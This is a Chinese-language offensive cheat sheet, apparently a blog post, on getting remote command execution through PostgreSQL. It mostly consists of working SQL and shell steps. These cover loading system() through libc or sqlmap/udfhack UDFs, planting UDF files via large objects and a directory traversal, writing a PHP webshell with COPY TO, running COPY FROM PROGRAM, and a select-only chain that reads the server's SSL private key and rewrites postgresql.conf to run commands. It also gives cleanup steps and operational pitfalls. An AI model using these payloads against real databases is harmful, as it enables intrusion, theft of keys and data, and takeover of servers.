攻击数据库之Postgresql
UDF
8.2以下可以直接调用系统的动态链接库/lib/libc.so.6或者是/lib64/libc.so.6(未测试)
1 | CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT; |
8.2及以上版本可直接利用sqlmap/data/udf中所提供的udf文件,我这里测试了一下9.5的,好像没法用
1 | postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; |
不过好在还可以利用udfhack自己生成任意版本的udf
找到对应版本的postgresql源码(这里我用的12.2),进行本地安装
1 | ./configure -prefix=/usr/local/pgsql --without-readline --without-zlib |
利用udfhack生成udf
1 | git clone https://github.com/sqlmapproject/udfhack |

在目标上写入生成的udf文件
1 | select lo_from_bytea(9999, '\x......'); |
利用目录穿越加载udf
另外某国外大佬发现在最新版的postgresql中,superuser不再允许从***/PostgreSQL/11/lib之外的地方加载udf文件,且该目录不允许NETWORK_SERVICE或者postgres写入文件。但是作者发现可以利用一个目录穿越漏洞进行加载udf文件,向下面这样
1 | -- 写入文件到***/PostgreSQL/11/data |
利用COPY特性getshell
postgresql 9.3开始引入COPY,可利用其特性进行getshell
copy to
1 | copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php'; |
copy from program
1 | create table tmp(t text); |

写配置文件getshell
所有的操作仅需select进行,非堆叠注入可考虑,linux下专用
获取配置文件内容
查询配置文件目录
1 | select setting from pg_settings where name='config_file'; |
利用lo_import读取配置文件,指定loid为1234
1 | select lo_import('/etc/postgresql/12/main/postgresql.conf', 1234); |
查询对应loid,获取并还原配置文件内容
1 | select string_agg(data,'') from pg_largeobject where loid='1234'; |

构造带passphrase的ssl_key_file
查看还原后的配置文件中ssl_key_file的路径为’/etc/ssl/private/ssl-cert-snakeoil.key’,读取ssl_key_file的内容
1 | select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key'); |

通过openssl构造一个带passphrase的ssl_key_file,passphrase可任意
1 | openssl rsa -aes256 -in /tmp/ssl-cert-snakeoil.key -out /tmp/ssl-passphrase.key |
利用lo_from_bytea写入构造后的ssl_key_file内容
1 | select lo_from_bytea(4321,'\x2d2d2d2d2d424547...4b45592d2d2d2d2d0a'); |

修改表中配置文件内容
查看ssl_key_file所在位置,利用lo_put注释掉该行内容
1 | cat /tmp/postgresql.conf | grep -b ssl_key_file |
1 | select lo_put(1234,4063,'\x23'); |
查看配置文件总长,并在最后添加三行配置用于执行命令
1 | ssl_key_file = '/var/lib/postgresql/12/main/PG_VERSION' |

写入文件GETSHELL
1 | select lo_export(1234,'/etc/postgresql/12/main/postgresql.conf'); |

清理数据
1 | select lo_unlink(1234); |
坑点
- 各种操作必须小心,最终的写入之前,一定要检查内容是否正确,不然数据库真的可能会挂
- loid位数不宜设置过高,不然操作pg_largeobject中的文件内容时会出现各种错误
- 配置文件最后添加三行代码时,lo_put指定的位置应该为配置文件长度-1,不然lo_put会以一个00字节填充,造成写入后无法识别配置的问题
Reference
https://www.postgresql.org/ftp
https://github.com/sqlmapproject/udfhack
https://pulsesecurity.co.nz/articles/postgres-sqli
https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html